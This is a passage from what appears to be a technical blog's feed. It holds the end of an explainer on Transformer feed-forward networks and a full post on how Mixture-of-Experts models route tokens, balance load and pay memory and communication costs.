&lt;p&gt;So “contextualized token” does not mean that the token has acquired a paragraph of readable notes. It means that its numbers now depend on other allowed positions in the sequence.&lt;/p&gt;
&lt;p&gt;The FFN receives one of those vectors at a time. Inside this sublayer, the token at position 12 does not read position 11 or position 13. That cross-position exchange already happened in attention. The FFN applies the same learned function separately to every position.&lt;/p&gt;
&lt;h2&gt;Follow one token through the FFN&lt;/h2&gt;
&lt;p&gt;The original Transformer gives us one useful dimensional example. Its model vectors contain 512 numbers. Its FFN expands each vector to 2,048 intermediate values, applies a nonlinearity, then contracts the result back to 512.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
label=&quot;A contextualized token expands from 512 to 2,048 values, passes through ReLU, and contracts to a 512-value update&quot;
chart={&lt;code&gt;flowchart TB     X[&quot;Contextualized token&amp;lt;br/&amp;gt;512 values&quot;] --&amp;gt;|&quot;First learned projection&quot;| H[&quot;Expanded representation&amp;lt;br/&amp;gt;2,048 values&quot;]     H --&amp;gt;|&quot;ReLU activation&quot;| A[&quot;Activated representation&amp;lt;br/&amp;gt;2,048 values&quot;]     A --&amp;gt;|&quot;Second learned projection&quot;| U[&quot;Update&amp;lt;br/&amp;gt;512 values&quot;]&lt;/code&gt;}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&quot;https://arxiv.org/abs/1706.03762&quot;&gt;original paper&apos;s equation&lt;/a&gt;, the operation is:&lt;/p&gt;
&lt;h1&gt;$$
\operatorname{FFN}(x)&lt;/h1&gt;
&lt;p&gt;\operatorname{ReLU}!\left(xW_1 + b_1\right)W_2 + b_2
$$&lt;/p&gt;
&lt;p&gt;The first matrix, &lt;code&gt;W1&lt;/code&gt;, computes 2,048 learned combinations of the 512 input values. Expansion does not give the token more context. No other position enters the calculation. It gives the network a wider intermediate space in which many input-dependent signals can be represented at once.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;rectified linear unit&lt;/strong&gt;, or &lt;strong&gt;ReLU&lt;/strong&gt;, keeps positive intermediate values and replaces negative ones with zero. This small nonlinear step matters. Without it, two consecutive linear projections could be collapsed into one linear projection. The expansion and contraction would have less expressive effect.&lt;/p&gt;
&lt;p&gt;The second matrix, &lt;code&gt;W2&lt;/code&gt;, combines the surviving intermediate signals into a 512-value update. The vector returns to the model dimension so the block can add that update to the stream that continues through the network.&lt;/p&gt;
&lt;p&gt;The intermediate values are not 2,048 labeled drawers such as “river,” “finance,” or “plural noun.” Some may correlate with patterns that humans can interpret, but the computation is distributed and learned. The dimensions tell us the shape of the operation, not a dictionary for reading its mind.&lt;/p&gt;
&lt;h2&gt;Why the same FFN treats tokens differently&lt;/h2&gt;
&lt;p&gt;Every position in one layer uses the same &lt;code&gt;W1&lt;/code&gt;, &lt;code&gt;W2&lt;/code&gt;, and biases. “Applied separately and identically” can therefore sound as if the FFN stamps the same result onto every token.&lt;/p&gt;
&lt;p&gt;It does not, because the function is shared but the inputs are not.&lt;/p&gt;
&lt;p&gt;Attention has already made the vector for “bank” depend on its sentence. Different input numbers produce different intermediate values. ReLU then keeps a different pattern of positive values for each input, and &lt;code&gt;W2&lt;/code&gt; combines that pattern into a different update.&lt;/p&gt;
&lt;p&gt;This is similar to applying the same image filter to every pixel neighborhood: the rule stays fixed while the output follows the local input. The analogy stops at locality. An FFN works on a learned token representation, not on visible colors or a hand-designed kernel.&lt;/p&gt;
&lt;p&gt;There is one precise limit to the claim. If two positions enter a deterministic FFN with exactly the same vector, the FFN produces exactly the same output for both. Position-wise processing can respond to contextual differences. It cannot invent a distinction that is absent from its input.&lt;/p&gt;
&lt;h2&gt;Why the FFN contains so many parameters&lt;/h2&gt;
&lt;p&gt;The dimensional path also explains the weight count.&lt;/p&gt;
&lt;p&gt;In the original Transformer, the expansion matrix has &lt;code&gt;512 x 2,048 = 1,048,576&lt;/code&gt; weights. The contraction matrix has the same number in the opposite shape. Ignoring the much smaller bias vectors, one FFN therefore contains:&lt;/p&gt;
&lt;p&gt;$$
1{,}048{,}576 + 1{,}048{,}576 = 2{,}097{,}152\ \text{weights}
$$&lt;/p&gt;
&lt;p&gt;The self-attention sublayer in the same encoder block learns projections for queries, keys, values, and the combined output. Across all heads, those four projections contain the equivalent of four &lt;code&gt;512 x 512&lt;/code&gt; matrices:&lt;/p&gt;
&lt;p&gt;$$
4 \times 512 \times 512 = 1{,}048{,}576\ \text{weights}
$$&lt;/p&gt;
&lt;p&gt;On that accounting boundary, the FFN has roughly twice as many projection weights as self-attention. The paper title said attention was all you need. The parameter ledger was less theatrical.&lt;/p&gt;
&lt;p&gt;This ratio is not a law of Transformers. Gated FFNs add another input projection. Grouped-query attention reduces some attention projections. Multi-head latent attention uses a different parameterization. Decoder blocks may also contain cross-attention. Dimensions, biases, parameter sharing, and low-rank structure all move the result.&lt;/p&gt;
&lt;p&gt;The safe conclusion is narrower: expanding a model-width vector into a much wider learned space, at every layer, requires large matrices. FFNs often own a substantial fraction of a Transformer&apos;s parameters for exactly that reason.&lt;/p&gt;
&lt;h2&gt;The residual path does not erase the input&lt;/h2&gt;
&lt;p&gt;The 512-value FFN output is usually not asked to replace the token representation on its own. The block adds it to a residual path.&lt;/p&gt;
&lt;p&gt;In simplified form:&lt;/p&gt;
&lt;p&gt;$$
y = x + \operatorname{FFN}!\left(\operatorname{normalize}(x)\right)
$$&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://arxiv.org/abs/1706.03762&quot;&gt;original Transformer&lt;/a&gt; placed normalization after the addition, while many later models normalize before the sublayer. The ordering changes, but the additive route remains the key idea.&lt;/p&gt;
&lt;p&gt;The FFN can learn an update instead of reconstructing the entire representation from scratch. If its update is small, the input has a direct path forward. Matching input and output widths makes that addition possible and lets many blocks refine a shared residual stream.&lt;/p&gt;
&lt;p&gt;It is tempting to say the residual connection “preserves the information.” That is too strong. Addition can reinforce, cancel, or rotate features once later layers act on the result. What the architecture preserves is a direct computational route around the sublayer, not a guarantee that every semantic detail remains untouched.&lt;/p&gt;
&lt;h2&gt;Modern FFNs often use a gate&lt;/h2&gt;
&lt;p&gt;ReLU is easy to see, but many modern language models use a gated FFN. &lt;strong&gt;SwiGLU&lt;/strong&gt;, a variant of the &lt;strong&gt;Gated Linear Unit&lt;/strong&gt;, is a common example. &lt;a href=&quot;https://arxiv.org/abs/2002.05202&quot;&gt;Noam Shazeer&apos;s SwiGLU paper&lt;/a&gt; replaces the single expanded branch with two learned projections of the same input.&lt;/p&gt;
&lt;p&gt;One branch passes through the smooth Swish activation. Its values are multiplied element by element with the second branch, then the result is projected back to the model width.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
label=&quot;SwiGLU sends one token through an activated branch and a gate branch, multiplies them element by element, then projects the result into an update&quot;
chart={&lt;code&gt;flowchart LR     X[&quot;Token x&quot;] --&amp;gt; U[&quot;Up projection&quot;]     X --&amp;gt; G[&quot;Gate projection&quot;]     U --&amp;gt; S[&quot;Swish activation&quot;]     S --&amp;gt; M[&quot;Element-wise multiply&quot;]     G --&amp;gt; M     M --&amp;gt; D[&quot;Down projection&quot;]     D --&amp;gt; O[&quot;Update&quot;]&lt;/code&gt;}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;Calling the second branch a gate is helpful as long as we do not imagine a row of hard switches. Its learned continuous values can reduce, amplify, or reverse contributions from the activated branch.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2407.21783&quot;&gt;Llama 3 uses SwiGLU&lt;/a&gt;, but that does not make SwiGLU universal. Other models use Gaussian Error Linear Units, ReLU variants, different gates, or different channel-mixing modules. The stable part of the mental model is the wide, input-dependent transformation followed by a projection back to the residual width.&lt;/p&gt;
&lt;h2&gt;Why Mixture of Experts duplicates the FFN&lt;/h2&gt;
&lt;p&gt;That makes the architectural choice behind &lt;strong&gt;Mixture of Experts&lt;/strong&gt;, or &lt;strong&gt;MoE&lt;/strong&gt;, easier to see.&lt;/p&gt;
&lt;p&gt;The FFN is expensive because it contains large matrices. It is also token-local because one token can pass through it without reading the other positions. That makes it a natural place for conditional computation.&lt;/p&gt;
&lt;p&gt;Instead of giving a layer one FFN, a sparse MoE model stores several. A router looks at each token&apos;s current representation and selects a small subset of those alternative transformations. Attention and the rest of the block can remain shared.&lt;/p&gt;
&lt;p&gt;DeepSeek-V3 makes the substitution visible in its &lt;a href=&quot;https://github.com/deepseek-ai/DeepSeek-V3/blob/main/inference/model.py&quot;&gt;official inference implementation&lt;/a&gt;: a block chooses either a dense multilayer perceptron or an MoE module for its FFN, and each expert uses a gated transformation. The full routing story, including why inactive experts still cost memory and communication, is in &lt;a href=&quot;/blog/how-mixture-of-experts-routing-works&quot;&gt;the companion Mixture of Experts walkthrough&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;MoE does not duplicate a neat shelf of factual databases. It duplicates parameterized ways to transform a token. Routing decides which transformations run for that token at that layer.&lt;/p&gt;
&lt;h2&gt;Is the FFN the model&apos;s memory?&lt;/h2&gt;
&lt;p&gt;There is real evidence behind the memory language. &lt;a href=&quot;https://arxiv.org/abs/2012.14913&quot;&gt;Mor Geva and colleagues analyzed Transformer FFNs as key-value memories&lt;/a&gt;: intermediate patterns behaved like learned keys, while output vectors contributed predictions associated with those patterns.&lt;/p&gt;
&lt;p&gt;But “memory” is an interpretation of learned behavior, not the declared data structure of an FFN.&lt;/p&gt;
&lt;p&gt;An FFN does not perform an exact lookup in a table with one row per fact. Many intermediate values can activate together. One value can participate in many contexts. Outputs accumulate through residual connections and later layers. Attention determines which contextual information reaches the transformation in the first place.&lt;/p&gt;
&lt;p&gt;So replacing “the FFN is plumbing” with “the FFN is the database” only trades one bad shortcut for another.&lt;/p&gt;
&lt;p&gt;The better model is a repeated division of labor. Attention lets token positions communicate. The FFN changes each contextualized representation through a wide, nonlinear transformation. The residual stream carries the input and the update onward, where the next block can do both again.&lt;/p&gt;
&lt;p&gt;Attention did not finish the thought. It prepared the state that the rest of the block could transform.&lt;/p&gt;
</content:encoded></item><item><title>How a 120B Mixture of Experts Activates 5.1B Parameters</title><link>https://didof.dev/blog/how-mixture-of-experts-routing-works/</link><guid isPermaLink="true">https://didof.dev/blog/how-mixture-of-experts-routing-works/</guid><description>A token-level look at expert routing, sparse computation, load balancing, and why fewer active parameters do not remove memory and communication costs.</description><pubDate>Wed, 12 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Mermaid from &quot;@/components/mermaid.astro&quot;;&lt;/p&gt;
&lt;p&gt;OpenAI&apos;s &lt;code&gt;gpt-oss-120b&lt;/code&gt; contains 116.8 billion parameters. For each token, it activates 5.1 billion.&lt;/p&gt;
&lt;p&gt;That sounds like a contradiction. If the other 111.7 billion parameters are not doing the calculation, in what sense do they belong to the model?&lt;/p&gt;
&lt;p&gt;The tempting explanation is that the model contains a panel of specialists. A router reads the question, recognizes that it is about mathematics or code, and sends the job to the right expert.&lt;/p&gt;
&lt;p&gt;That is a useful first picture. It is also wrong in almost every detail.&lt;/p&gt;
&lt;p&gt;The router does not usually assign the whole prompt to a specialist. It makes a new decision for each token, inside each &lt;strong&gt;Mixture of Experts&lt;/strong&gt;, or &lt;strong&gt;MoE&lt;/strong&gt;, layer. The “experts” are not small chatbots. They are alternative feed-forward networks: large sets of matrices that transform a token&apos;s current internal representation.&lt;/p&gt;
&lt;p&gt;This distinction explains both the efficiency and the hidden cost of Mixture of Experts. The architecture avoids many multiplications. It does not avoid storing, moving, and coordinating a very large model.&lt;/p&gt;
&lt;h2&gt;The part of a Transformer that gets duplicated&lt;/h2&gt;
&lt;p&gt;A Transformer block contains two major operations.&lt;/p&gt;
&lt;p&gt;First, &lt;strong&gt;attention&lt;/strong&gt; lets each token collect information from other tokens. This is where a word such as “bank” can acquire a different internal representation in “river bank” and “investment bank.”&lt;/p&gt;
&lt;p&gt;Then a &lt;strong&gt;feed-forward network&lt;/strong&gt;, or FFN, transforms each token representation independently. In simplified form:&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
label=&quot;A token representation expands, passes through a nonlinear activation, and contracts into an updated representation&quot;
chart={&lt;code&gt;flowchart TB     X[&quot;Token representation&quot;] --&amp;gt; E[&quot;Linear expansion&quot;]     E --&amp;gt; A[&quot;Nonlinear activation&quot;]     A --&amp;gt; C[&quot;Linear contraction&quot;]     C --&amp;gt; Y[&quot;Updated representation&quot;]&lt;/code&gt;}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;Those linear transformations are large matrix multiplications. They also account for a substantial share of a language model&apos;s parameters.&lt;/p&gt;
&lt;p&gt;If that compact diagram hides the interesting part, &lt;a href=&quot;/blog/what-feed-forward-network-does-in-transformer&quot;&gt;the companion FFN walkthrough follows one contextualized token through expansion, activation, gating, contraction, and the residual path&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In a dense Transformer, every token passes through the same FFN at a given layer. A sparse Mixture-of-Experts model replaces that one FFN with several alternatives:&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
label=&quot;A dense layer sends a token through one shared feed-forward network, while a sparse Mixture of Experts layer routes an example token through selected experts and skips the others&quot;
chart={`flowchart TB
subgraph Dense[&quot;Dense layer&quot;]
DX[&quot;Token x&quot;] --&amp;gt; DF[&quot;Shared FFN&quot;] --&amp;gt; DY[&quot;Update y&quot;]
end&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;subgraph Sparse[&quot;Sparse Mixture of Experts layer — one example token&quot;]
  MX[&quot;Token x&quot;] --&amp;gt; R[&quot;Router&quot;]
  R --&amp;gt;|&quot;selected&quot;| E1[&quot;Expert 1&quot;]
  R -.-&amp;gt;|&quot;not selected&quot;| E2[&quot;Expert 2&quot;]
  R --&amp;gt;|&quot;selected&quot;| E3[&quot;Expert 3&quot;]
  R -.-&amp;gt;|&quot;not selected&quot;| EN[&quot;Expert N&quot;]
  E1 --&amp;gt; C[&quot;Weighted combination&quot;]
  E3 --&amp;gt; C
  C --&amp;gt; MY[&quot;Update y&quot;]
end

DY ~~~ MX`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;p&gt;The model stores every expert, but a router selects only a small subset for each token. This is &lt;strong&gt;conditional computation&lt;/strong&gt;: the parameters used by the calculation depend on the data currently passing through the network.&lt;/p&gt;
&lt;p&gt;The modern sparsely gated version of this idea was demonstrated at large scale in the 2017 paper &lt;a href=&quot;https://arxiv.org/abs/1701.06538&quot;&gt;&lt;em&gt;Outrageously Large Neural Networks&lt;/em&gt;&lt;/a&gt;. The core bargain has remained the same: increase parameter capacity much faster than computation per token.&lt;/p&gt;
&lt;h2&gt;Follow one token through the router&lt;/h2&gt;
&lt;p&gt;Suppose a layer contains eight experts and selects two of them for each token.&lt;/p&gt;
&lt;p&gt;The router receives the token&apos;s current hidden state, a vector we can call &lt;code&gt;x&lt;/code&gt;. A learned linear projection converts that vector into one score per expert:&lt;/p&gt;
&lt;p&gt;$$
\mathrm{scores} = xW_{\mathrm{router}} + b
$$&lt;/p&gt;
&lt;p&gt;For one token, the output could look like this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Expert&lt;/th&gt;
&lt;th&gt;Router score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;E1&lt;/td&gt;
&lt;td&gt;1.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;E2&lt;/td&gt;
&lt;td&gt;-0.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;E3&lt;/td&gt;
&lt;td&gt;2.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;E4&lt;/td&gt;
&lt;td&gt;0.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;E5–E8&lt;/td&gt;
&lt;td&gt;lower&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A &lt;code&gt;Top-K&lt;/code&gt; operation keeps the highest &lt;code&gt;K&lt;/code&gt; scores. With &lt;code&gt;K = 2&lt;/code&gt;, only E3 and E1 survive. A normalization step turns their scores into weights. Imagine that it produces 0.67 for E3 and 0.33 for E1.&lt;/p&gt;
&lt;p&gt;The layer computes:&lt;/p&gt;
&lt;p&gt;$$
y = 0.67,E_3(x) + 0.33,E_1(x)
$$&lt;/p&gt;
&lt;p&gt;The other six expert FFNs do not process this token.&lt;/p&gt;
&lt;p&gt;Real models differ in the scoring and normalization details. &lt;code&gt;gpt-oss&lt;/code&gt;, for example, selects the top four experts and applies softmax over those selected scores. &lt;a href=&quot;https://deploymentsafety.openai.com/gpt-oss/architecture&quot;&gt;OpenAI documents 128 experts per block in &lt;code&gt;gpt-oss-120b&lt;/code&gt;, 32 in &lt;code&gt;gpt-oss-20b&lt;/code&gt;, and Top-4 routing in both&lt;/a&gt;. DeepSeek-V3 computes token-to-expert affinities with a sigmoid, selects the highest values, then normalizes the selected affinities. &lt;a href=&quot;https://arxiv.org/html/2412.19437v1#S2.SS1.SSS2&quot;&gt;Its technical report publishes the routing equations directly&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The variants matter to researchers and implementers. The stable idea is simpler: score every route, execute a few, combine their outputs.&lt;/p&gt;
&lt;h2&gt;The router does not route the question&lt;/h2&gt;
&lt;p&gt;The router sees a token representation, not a topic label.&lt;/p&gt;
&lt;p&gt;That representation already contains context from the preceding attention operation. It can encode information about syntax, position, surrounding words, and patterns learned during training. The router uses that state to choose a path through this one layer.&lt;/p&gt;
&lt;p&gt;At the next Mixture-of-Experts layer, the token has changed. A different router evaluates the new representation and can select a different pair of experts.&lt;/p&gt;
&lt;p&gt;So one token can select E3 and E1 in layer 1, E7 and E2 in layer 2, then E2 and E5 in layer 3.&lt;/p&gt;
&lt;p&gt;The next token can take another path through the same layers.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2401.04088&quot;&gt;Mixtral 8×7B&lt;/a&gt; is a clean example. Each layer contains eight feed-forward experts. For every token, at every layer, the router selects two. The model has about 47 billion total parameters but uses about 13 billion active parameters during inference.&lt;/p&gt;
&lt;p&gt;This is why “the coding expert answered the coding question” is the wrong model. There is no single handoff. There is a sequence of small routing decisions distributed across tokens and depth.&lt;/p&gt;
&lt;h2&gt;Why 120B does not become 120B divided by 32&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;gpt-oss-120b&lt;/code&gt; selects four experts out of 128. It would be easy to calculate:&lt;/p&gt;
&lt;p&gt;$$
120\mathrm{B} \times \frac{4}{128} = 3.75\mathrm{B}
$$&lt;/p&gt;
&lt;p&gt;But OpenAI reports 5.1 billion active parameters, not 3.75 billion.&lt;/p&gt;
&lt;p&gt;The simple division fails because the entire model is not inside the expert pool. Attention, embeddings, output projections, normalization, routers, and other shared parts still run. Only the expert FFNs are sparsely activated.&lt;/p&gt;
&lt;p&gt;OpenAI&apos;s published breakdown makes the distinction visible:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Parameters in &lt;code&gt;gpt-oss-120b&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Expert multilayer perceptrons&lt;/td&gt;
&lt;td&gt;114.71B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attention&lt;/td&gt;
&lt;td&gt;0.96B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Embedding and output&lt;/td&gt;
&lt;td&gt;1.16B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Total&lt;/td&gt;
&lt;td&gt;116.83B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active per token&lt;/td&gt;
&lt;td&gt;5.13B&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;“Active parameters” therefore describes a path through the model, not a smaller model hiding inside it.&lt;/p&gt;
&lt;p&gt;There is another subtlety. The number is per token. During prompt processing or batched serving, many tokens are evaluated together. Each token may select only four experts, while the union of their choices can touch many more. With enough varied tokens in a batch, the hardware may need to execute work across most of the expert pool. &lt;a href=&quot;https://arxiv.org/abs/2603.19289&quot;&gt;Research on expert prefetching describes this growth from a single token&apos;s &lt;code&gt;K&lt;/code&gt; experts toward the full pool as batch size increases&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sparse per-token computation does not imply that only four experts matter to the server at a time.&lt;/p&gt;
&lt;h2&gt;How the experts learn without assigned jobs&lt;/h2&gt;
&lt;p&gt;Nobody needs to label E17 as “Python” or E42 as “German grammar.” Router and experts are trained together with the rest of the model.&lt;/p&gt;
&lt;p&gt;During a forward pass, the router selects a path. The selected expert outputs contribute to the model&apos;s next-token prediction. When training measures the prediction error, backpropagation sends gradients through those expert computations and through the weights used to combine them.&lt;/p&gt;
&lt;p&gt;That creates a feedback loop:&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
label=&quot;A feedback loop in which routing gives an expert training examples, the expert improves on similar states, and the router becomes more likely to select it again&quot;
chart={&lt;code&gt;flowchart TB     R[&quot;Router sends some representations to an expert&quot;] --&amp;gt; U[&quot;The expert is updated on those representations&quot;]     U --&amp;gt; I[&quot;Its transformation becomes more useful for similar states&quot;]     I --&amp;gt; S[&quot;The router has more reason to select it again&quot;]     S --&amp;gt; R&lt;/code&gt;}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;This is how specialization can emerge without a human taxonomy.&lt;/p&gt;
&lt;p&gt;The hard &lt;code&gt;Top-K&lt;/code&gt; boundary is not differentiable in the ordinary sense: an infinitesimal score change usually does not change which experts were selected. Training still obtains gradients through the selected gate weights, while MoE systems add routing-specific objectives or control mechanisms to keep the whole process useful.&lt;/p&gt;
&lt;p&gt;That extra machinery is necessary because the same feedback loop can run away.&lt;/p&gt;
&lt;h2&gt;The best expert can become a traffic jam&lt;/h2&gt;
&lt;p&gt;Imagine that one expert performs slightly better early in training. The router sends it more tokens. Because it receives more tokens, it gets more updates. It improves faster, so the router sends it even more work.&lt;/p&gt;
&lt;p&gt;Eventually, a few experts can absorb most of the traffic while the others barely train. This is commonly called &lt;strong&gt;routing collapse&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The problem is not only wasted model capacity. Experts are usually distributed across accelerators. If one GPU receives far more tokens than the others, the whole layer waits for that overloaded device.&lt;/p&gt;
&lt;p&gt;Earlier architectures imposed a fixed capacity per expert. When too many tokens selected the same route, excess tokens could skip that expert computation and continue through the residual connection. Increasing the capacity reduced dropped tokens, but reserved more memory and computation for empty slots. &lt;a href=&quot;https://jmlr.org/papers/v23/21-0998.html&quot;&gt;Switch Transformer documents this trade-off and reports typical dropped-token rates below 1% in its experiments&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Switch Transformer also adds an auxiliary loss that encourages the router to distribute tokens across experts. This introduces a real tension:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;route by usefulness, and the same experts may become overloaded;&lt;/li&gt;
&lt;li&gt;route for perfect balance, and the model may avoid the expert it considers most useful.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DeepSeek-V3 uses a different control mechanism. Each routed expert has a bias that affects whether it enters the Top-K set. After a training step, the system lowers the bias of overloaded experts and raises the bias of underused ones. The original affinity score still determines how strongly a selected output contributes. DeepSeek also keeps a much smaller sequence-level balance loss to prevent extreme local imbalance.&lt;/p&gt;
&lt;p&gt;The router is not optimizing in a mathematical vacuum. It is learning under the physical constraint that the work must fit across real machines.&lt;/p&gt;
&lt;h2&gt;What does an “expert” actually know?&lt;/h2&gt;
&lt;p&gt;The name encourages a tidy story: one expert learns science, another code, another French.&lt;/p&gt;
&lt;p&gt;The evidence is less tidy.&lt;/p&gt;
&lt;p&gt;Analyses of MoE models have found several kinds of routing patterns: token-level preferences, syntactic patterns, domain associations, repeated or overlapping expert behavior, and differences across layers and architectures. A 2024 analysis of Mixtral, DeepSeekMoE, and Grok found that Mixtral&apos;s routing was relatively even and that instruction fine-tuning changed its routing patterns very little. The authors did not find one universal form of specialization. &lt;a href=&quot;https://arxiv.org/abs/2406.18219&quot;&gt;See &lt;em&gt;A Closer Look into Mixture-of-Experts in Large Language Models&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;https://arxiv.org/abs/2604.02178&quot;&gt;2026 preprint that examined twelve MoE models&lt;/a&gt; argues for a more functional interpretation. Its experts were often associated with fine-grained linguistic or semantic operations, such as closing brackets in LaTeX, rather than broad subjects such as “mathematics.” The study did not include the largest models, including DeepSeek-V3, because of memory and compute limits.&lt;/p&gt;
&lt;p&gt;The safe conclusion is not that experts lack specialization. It is that “expert” names a separately parameterized computational path, not a guaranteed human-readable profession.&lt;/p&gt;
&lt;h2&gt;The arithmetic gets cheaper. The logistics get harder&lt;/h2&gt;
&lt;p&gt;If a dense FFN has one set of parameters, making it wider usually increases both model capacity and the matrix multiplication performed for every token.&lt;/p&gt;
&lt;p&gt;An MoE layer partially separates those quantities:&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\text{stored expert capacity} &amp;amp;\propto N, \
\text{expert compute per token} &amp;amp;\propto K
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;As long as &lt;code&gt;K&lt;/code&gt; stays much smaller than &lt;code&gt;N&lt;/code&gt;, the model can add parameter capacity without multiplying every token by every expert matrix.&lt;/p&gt;
&lt;p&gt;That is the gain.&lt;/p&gt;
&lt;p&gt;But an inactive expert is not an absent expert. Its weights must remain somewhere accessible because the next token, or the next layer, may select it.&lt;/p&gt;
&lt;p&gt;The quantized &lt;code&gt;gpt-oss-120b&lt;/code&gt; checkpoint is 60.8 GiB even though only 5.1 billion parameters are active per token. Quantization allows it to fit on one 80 GB accelerator, but the full expert pool still occupies memory.&lt;/p&gt;
&lt;p&gt;If the pool does not fit on one accelerator, a serving system has two broad options.&lt;/p&gt;
&lt;p&gt;It can distribute experts across several GPUs. Then each layer must send token representations to the devices that own the selected experts and retrieve the results. This dispatch-and-combine pattern creates all-to-all communication.&lt;/p&gt;
&lt;p&gt;Or it can keep some experts in CPU memory or storage and load them on demand. That saves accelerator memory, but the router cannot know which weights are needed until it sees the current representation. Weight transfer can land directly on the latency-critical path. The same &lt;a href=&quot;https://arxiv.org/abs/2603.19289&quot;&gt;expert-prefetching study&lt;/a&gt; models this dependency explicitly and measures the cost of on-demand copies during decoding.&lt;/p&gt;
&lt;p&gt;DeepSeek-V3 shows how serious the first problem becomes at scale. It has 256 routed experts per MoE layer, activates eight for each token, and distributes those experts across 64 GPUs. Its routing restricts each token to at most four nodes to reduce network traffic. The training system then overlaps communication with computation. &lt;a href=&quot;https://arxiv.org/html/2412.19437v1#S3.SS2.SSS1&quot;&gt;The technical report describes separate attention, dispatch, expert computation, and combine phases&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The model saved multiplications and created a scheduling problem.&lt;/p&gt;
&lt;h2&gt;Why fewer active parameters do not guarantee lower latency&lt;/h2&gt;
&lt;p&gt;Parameter sparsity describes which mathematical operations are necessary. Wall-clock speed also depends on how efficiently the hardware performs them.&lt;/p&gt;
&lt;p&gt;An MoE implementation can lose time by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;moving token representations between devices;&lt;/li&gt;
&lt;li&gt;loading expert weights from slower memory;&lt;/li&gt;
&lt;li&gt;waiting for an overloaded expert;&lt;/li&gt;
&lt;li&gt;launching many small matrix operations that underuse the GPU;&lt;/li&gt;
&lt;li&gt;executing a wide set of experts across a large batch even though each token selects only a few.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On a large, carefully engineered cluster, those costs can be hidden or amortized. On a local machine constrained by memory bandwidth, they can dominate.&lt;/p&gt;
&lt;p&gt;This is why “120B total, 5.1B active” is not a direct speed claim. It tells us something important about arithmetic. It does not tell us where the weights live, how many experts a batch touches, how far each token travels, or whether the runtime has efficient sparse kernels.&lt;/p&gt;
&lt;p&gt;The distinction also explains why an MoE model can be cheaper to compute than a similarly capable dense model while remaining harder to deploy than its active-parameter count suggests.&lt;/p&gt;
&lt;h2&gt;The parameter count now describes two different things&lt;/h2&gt;
&lt;p&gt;For a dense model, total parameters and parameters used per token are nearly the same number. That made parameter count a rough, imperfect proxy for both capacity and computational cost.&lt;/p&gt;
&lt;p&gt;Mixture of Experts breaks that shortcut.&lt;/p&gt;
&lt;p&gt;The total parameter count describes how many learned weights the model can draw from. The active parameter count describes the route taken by one token. Neither describes inference by itself.&lt;/p&gt;
&lt;p&gt;To understand the real cost, we need at least three quantities: total parameters, active parameters per token, and the hardware and communication required to keep every route available.&lt;/p&gt;
&lt;p&gt;So the missing 111.7 billion parameters in &lt;code&gt;gpt-oss-120b&lt;/code&gt; are not dormant decoration. They are alternative transformations waiting behind later routing decisions.&lt;/p&gt;
&lt;p&gt;The model does not make 120 billion parameters cheap by pretending most of them do not exist. It makes their computation conditional, then pays to keep every possible path within reach.&lt;/p&gt;
